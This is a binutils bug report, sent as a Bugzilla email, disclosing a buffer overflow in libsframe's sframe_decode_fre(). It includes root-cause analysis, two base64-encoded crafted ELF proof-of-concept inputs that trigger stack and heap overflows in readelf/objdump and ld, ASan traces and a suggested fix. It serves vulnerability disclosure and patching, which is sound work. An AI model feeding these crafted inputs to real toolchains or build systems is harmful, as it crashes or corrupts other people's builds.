https://sourceware.org/bugzilla/show_bug.cgi?id=34417

            Bug ID: 34417
           Summary: OOB access in libsframe sframe_decode_fre():
                    datawords_sz is copied into the 24-byte
                    fre_datawords[] with the size check performed only
                    after the memcpy. A crafted .sframe section triggers a
                    buffer overflow via readelf/objdump (stack) and via ld
                    (heap)
           Product: binutils
           Version: 2.48 (HEAD)
            Status: UNCONFIRMED
          Severity: normal
          Priority: P2
         Component: binutils
          Assignee: unassigned at sourceware dot org
          Reporter: achintya at umail dot ucsb.edu
  Target Milestone: ---

Created attachment 16854
  --> https://sourceware.org/bugzilla/attachment.cgi?id=16854&action=edit
It contains a zip with a poc and a crash report for both variants

================================================================================
VERSION
================================================================================
`readelf --version` prints:
    "GNU readelf (GNU Binutils) 2.47.50.20260720"
This is git master, commit cef1fbf3b02ff6e5bc62e1b8a7d30c0a32b8b9f7
(dated 2026-07-20).  Per binutils' versioning convention, bfd/version.m4 =
BFD_VERSION 2.47.50 on master denotes the DEVELOPMENT version heading to the
2.48 release (the 2.47 release branch, binutils-2_47-branch, carries 2.46.90);
this commit is on master, past the 2.47 branch point.

Affected versions -- the defect is present in BOTH:
  * git master (2.47.50, -> 2.48 development), commit above; and
  * the binutils-2_47-branch (2.46.90, -> the upcoming 2.47 release): its
    libsframe/sframe.c still performs the memcpy before any size check
    (verified), so the forthcoming 2.47 release is affected as well.
Not fixed as of either branch.

================================================================================
BUILD CONFIGURATION  (from config.status)
================================================================================
Host/target configuration name:  x86_64-pc-linux-gnu
configure options:
    --disable-gdb --disable-gdbserver --disable-sim --disable-gprofng
    --disable-werror --disable-nls --enable-targets=alpha-dec-vms
Compiler: clang 14.0.0 (Ubuntu 14.0.0-1ubuntu1.1), -O2.

NOTE: the defect is in libsframe source and is independent of compiler,
optimization level, and --enable-targets.  It was observed with several build
configurations (see "OBSERVED BEHAVIOUR" below); the SFrame dump path in
readelf/objdump and the SFrame section-merge path in ld are always built.

================================================================================
WHAT WENT WRONG  /  WHAT SHOULD HAVE HAPPENED
================================================================================
What went wrong:
  When decoding a single SFrame Frame Row Entry (FRE), libsframe copies
  `datawords_sz` bytes of attacker-controlled data into the fixed 24-byte
  buffer `fre->fre_datawords` WITHOUT first checking `datawords_sz`.  The
  size is derived from the FRE info byte and can be as large as 60
  (offset_size = 4 bytes, offset_count = 15 -> 15 * 4 = 60), overflowing the
  24-byte destination by up to 36 bytes with fully attacker-controlled content.

What should have happened:
  sframe_decode_fre() should reject an FRE whose encoded datawords size exceeds
  MAX_DATAWORD_BYTES (24) BEFORE the memcpy -- i.e. the existing
  sframe_fre_sanity_check_p() constraint (dataword_cnt <= MAX_NUM_DATAWORDS)
  must be enforced prior to copying -- and return SFRAME_ERR_FRE_INVAL.
  readelf/objdump should then print an SFrame decode error, and ld should
  reject the malformed input section, instead of overrunning the buffer.

================================================================================
ROOT CAUSE  (libsframe/sframe.c, sframe_decode_fre)
================================================================================
    1381  memset (fre->fre_datawords, 0, MAX_DATAWORD_BYTES);   /* 24 bytes */
    1383  datawords_sz = sframe_fre_datawords_bytes_size (fre->fre_info);
    1384  datawords = fre_buf + addr_size + sizeof (fre->fre_info);
    1385  memcpy (fre->fre_datawords, datawords, datawords_sz);   <-- OVERFLOW
    ...
    1388  fre_size = sframe_fre_entry_size (fre, fre_type);
    1390  sframe_assert (fre_size == (addr_size + ... + datawords_sz));

  fre->fre_datawords is `unsigned char[MAX_DATAWORD_BYTES]` with
  MAX_DATAWORD_BYTES == 24 (include/sframe-api.h).
  sframe_fre_datawords_bytes_size() returns dataword_cnt * (dataword_size * 2)
  for 2/4-byte offsets; with a 4-byte offset size and offset_count 15 this is
  60 -- 36 bytes past the destination.

  The relevant guard, sframe_fre_sanity_check_p() (which rejects
  dataword_cnt > MAX_NUM_DATAWORDS == 6), is only consulted by callers AFTER
  sframe_decode_fre() has already performed the memcpy (e.g.
  sframe_decoder_get_fre() at sframe.c:1868), so it cannot prevent the
overflow.
  The post-copy sframe_assert() at line 1390 also fires too late -- the
  out-of-bounds access has already occurred.

  The bug is caller-storage-independent: sframe_decode_fre() overflows whatever
  `fre` buffer it is given.  This yields two reachable manifestations of the
  same defect:
    (a) stack buffer overflow  -- readelf/objdump SFrame dump path
        (sframe_decoder_get_fre / sframe_find_fre use a stack-local FRE)
    (b) heap buffer overflow    -- ld SFrame section-merge path
        (sframe_encoder_add_fres_buf, sframe.c:2246, uses a heap FRE slot)

================================================================================
REPRODUCTION
================================================================================
Two self-contained testcases are given below and as an attachment to this
report as base64 (each is a tiny crafted
input; no system libraries or other objects are needed).  Decode with:
    base64 -d > FILE

------------------------------------------------------------------------------
Case A -- readelf/objdump, STACK overflow (primary, simplest)
------------------------------------------------------------------------------
Tool options at run time:
    readelf --sframe poc_sframe.elf
    objdump --sframe poc_sframe.elf         (equivalent path)

Input file poc_sframe.elf  (392 bytes; sha256
7c6c727135683aac7d8d611f7588db630274b5f0a0c34f22b57a99e95736acbd):
A minimal ELF64 whose only meaningful content is a `.sframe` section carrying
one SFrame FDE + one FRE with fre_info = 0x5E (offset_size = 4B,
offset_count = 15 -> datawords_sz = 60).

poc_sframe.elf (base64):
f0VMRgIBAQAAAAAAAAAAAAEAPgABAAAAAAAAAAAAAAAAAAAAAAAAAMgAAAAAAAAAAAAAAEAAAAAA
AEAAAwACAOLeAgADAAAAAQAAAAEAAAA+AAAAAAAAABQAAAAAAAAAAAEAAAAAAAABAAAAAAAAAABe
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBAC5zZnJhbWUALnNoc3RydGFiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAEAAAAAAAAAAAAAAAAAAAAA
AAAAQAAAAAAAAABuAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAkAAAADAAAAAAAAAAAA
AAAAAAAAAAAAAK4AAAAAAAAAEwAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAA=

------------------------------------------------------------------------------
Case B -- ld, HEAP overflow (SFrame section merge)
------------------------------------------------------------------------------
Tool options at run time:
    ld poc_ld.o -o /tmp/out -e foo

Input file poc_ld.o  (712 bytes; sha256
eec9114b6ea122f296ee209ffd228345cf5ac13456aa6b6380525a9c94c58839):
A relocatable x86-64 object with a version-3 SFrame section (type
SHT_GNU_SFRAME, one FDE + one malicious FRE, fre_info = 0x5E) and a matching
.rela.sframe entry, so ld's SFrame merge (_bfd_elf_merge_section_sframe ->
sframe_encoder_add_fres_buf -> sframe_decode_fre) processes the FRE.

poc_ld.o (base64):
f0VMRgIBAQAAAAAAAAAAAAEAPgABAAAAAAAAAAAAAAAAAAAAAAAAAAgBAAAAAAAAAAAAAEAAAAAA
AEAABwAGAMMAAAAAAAAA4t4DBAMAAAABAAAAAQAAAAcAAAAAAAAAEAAAAAAAAAAAAAAACAAAAAAA
AAABAAAAAABeAAAAAAAcAAAAAAAAAAIAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAABAAAAEgABAAAAAAAAAAAAAQAAAAAAAAAAZm9vAAAudGV4dAAuc2ZyYW1lAC5yZWxhLnNm
cmFtZQAuc3ltdGFiAC5zdHJ0YWIALnNoc3RydGFiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAABAAAABgAAAAAA
AAAAAAAAAAAAAEAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAHAAAA9P//
bwIAAAAAAAAAAAAAAAAAAABIAAAAAAAAADMAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAA
DwAAAAQAAABAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAYAAAAAAAAAAQAAAACAAAACAAAAAAAAAAY
AAAAAAAAABwAAAACAAAAAAAAAAAAAAAAAAAAAAAAAJgAAAAAAAAAMAAAAAAAAAAFAAAAAQAAAAgA
AAAAAAAAGAAAAAAAAAAkAAAAAwAAAAAAAAAAAAAAAAAAAAAAAADIAAAAAAAAAAUAAAAAAAAAAAAA
AAAAAAABAAAAAAAAAAAAAAAAAAAALAAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAzQAAAAAAAAA2AAAA
AAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAA==

(Both testcases were produced by small generator scripts; the exact byte
layout and the reasoning are reproducible on request.  They contain no real
code -- only the crafted metadata sections needed to reach the decoder.)

================================================================================
OBSERVED BEHAVIOUR
================================================================================
Root-cause confirmation under AddressSanitizer (clang -fsanitize=address):

  Case A (readelf --sframe poc_sframe.elf):
    ERROR: AddressSanitizer: stack-buffer-overflow ...
    WRITE of size 60 at 0x... thread T0
      #0 __asan_memcpy
      #1 sframe_decode_fre        libsframe/sframe.c:1385
      #2 sframe_decoder_get_fre   libsframe/sframe.c:1866
      #3 dump_sframe_func_fres_simple  libsframe/sframe-dump.c
      ... readelf --sframe

  Case B (ld poc_ld.o -o /tmp/out -e foo):
    ERROR: AddressSanitizer: heap-buffer-overflow ...
    READ of size 60 at 0x... (0 bytes to the right of a 7-byte region)
      #0 __asan_memcpy
      #1 sframe_decode_fre            libsframe/sframe.c:1385
      #2 sframe_encoder_add_fres_buf  libsframe/sframe.c:2246
      #3 _bfd_elf_merge_section_sframe  bfd/elf-sframe.c:595
      #4 elf_link_input_bfd          bfd/elflink.c:12236
      ... ld

Behaviour in ordinary (non-ASan) builds, clang -O2:

  * Default build (asserts enabled, which is the binutils default -- the tree
    defines no NDEBUG):  both cases abort via the post-copy assertion:
      "sframe.c:1390: ... Assertion `fre_size == (addr_size + ... +
       datawords_sz)' failed." -> SIGABRT.
    The out-of-bounds memcpy has already executed at this point; the assert
    merely detects the resulting inconsistency afterwards.

  * With -DNDEBUG (assertions compiled out):
      - readelf --sframe: the stack overflow trips -fstack-protector-strong:
        "*** stack smashing detected ***: terminated" -> SIGABRT.
      - ld: the memcpy completes with NO diagnostic (exit 0); the input-buffer
        over-read / adjacent-entry write are silent.

  Note: _FORTIFY_SOURCE=2 does NOT catch this memcpy.  Because `fre` is an
  opaque pointer parameter, __builtin_object_size(fre->fre_datawords, 1) is
  unknown, so the compiler emits a plain memcpy (verified by disassembly:
  sframe_decode_fre calls memcpy@plt, not __memcpy_chk).

================================================================================
IMPACT
================================================================================
Reachable from an untrusted input file with no special privileges (analysing or
linking an attacker-supplied ELF/object).  One root defect, three sinks:

  - readelf --sframe / objdump --sframe : stack buffer overflow, controlled
    content, bounded length (<=36 bytes past a fixed 24-byte buffer)  [CWE-121]
  - ld (SFrame merge)                    : heap buffer over-read of the decoder
    FRE buffer (and an intra-allocation over-write of the encoder FRE table)
    [CWE-125 / CWE-787]

Realistic case is denial of service (a crash while processing a crafted
file): guaranteed on the readelf/objdump path (assert or stack canary) and, in
default asserts-enabled builds, on the ld path. In an -DNDEBUG ld build the
input-buffer over-read is
undetected (potential minor information disclosure into the emitted .sframe,
and
output corruption).

================================================================================
SUGGESTED FIX
================================================================================
Validate the encoded datawords size before the copy in sframe_decode_fre(),
e.g. reject any FRE whose fre_info implies more than MAX_DATAWORD_BYTES bytes
(equivalently, enforce sframe_fre_sanity_check_p()'s dataword_cnt <=
MAX_NUM_DATAWORDS before the memcpy rather than after it):

    datawords_sz = sframe_fre_datawords_bytes_size (fre->fre_info);
    if (datawords_sz > MAX_DATAWORD_BYTES)
      return sframe_set_errno (&err, SFRAME_ERR_FRE_INVAL);
    datawords = fre_buf + addr_size + sizeof (fre->fre_info);
    memcpy (fre->fre_datawords, datawords, datawords_sz);

This fixes all three manifestations (readelf/objdump stack write, ld heap
read, ld encoder-table write) with a single check.

-- 
You are receiving this mail because:
You are on the CC list for the bug.

Reply via email to